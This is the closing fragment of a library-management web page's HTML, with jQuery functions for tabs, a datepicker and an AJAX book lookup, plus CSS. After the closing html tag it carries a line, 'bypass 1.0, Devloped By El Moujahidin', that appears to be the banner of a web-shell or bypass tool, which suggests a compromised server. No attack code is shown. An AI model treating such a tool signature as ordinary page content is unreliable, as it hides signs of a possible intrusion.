 $(document).ready(function () {
          //  setupTinyMCE();
		   $('#date_of_arrival').datepicker({format: 'yyyy-mm-dd'});
        });
	</script>
<script type="text/javascript">
  // This function is called from the pop-up menus to transfer to
  // a different page. Ignore if the value returned is a null string:
  function goPage (newURL) {

      // if url is empty, skip the menu dividers and reset the menu selection to default
      if (newURL != "") {
      
          // if url is "-", it is this page -- reset the menu:
          if (newURL == "-" ) {
              resetMenu();            
          } 
          // else, send page to designated URL            
          else {  
            document.location.href = newURL;
          }
      }
  }

// resets the menu selection upon entry to this page:
function resetMenu() {
   document.gomenu.selector.selectedIndex = 2;
}
</script>
<script type="text/javascript">
function show_reservation()
{
$('#test1').show();
$('#test2').hide();
$('#test3').hide();
}

function show_collection()
{
$('#test2').show();
$('#test1').hide();
$('#test3').hide();
}

function show_member()
{
$('#test3').show();
$('#test1').hide();
$('#test2').hide();
}

function show_book()
{
$('#test4').show();
$('#test3').hide();
$('#test1').hide();
$('#test2').hide();
}
</script>
<script type="text/javascript">
function list_book()
	{
	   var book_code = $('#search_value').val();
		$.ajax({
		type: "POST",
		url: "book_member_list.php",
		data: {book_code:book_code},
		success: 
		function(data) 
		{
        $("#list_books").html(data);
        }
 		});
	   }
	  
	</script>
<style type="text/css">

	

	button, input, select, textarea {

    border: 2px solid #bfe0f3;

    border-radius: 0;

    box-shadow: none;

    height: 40px;

	 padding: 8px 16px;

}

	

	

	.read_charges {

    border: 2px solid #bfe0f3;

    border-radius: 0;

    box-shadow: none;

    height: 40px;

    padding: 8px 16px;

}

	</style>
	
								 
			                    

</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net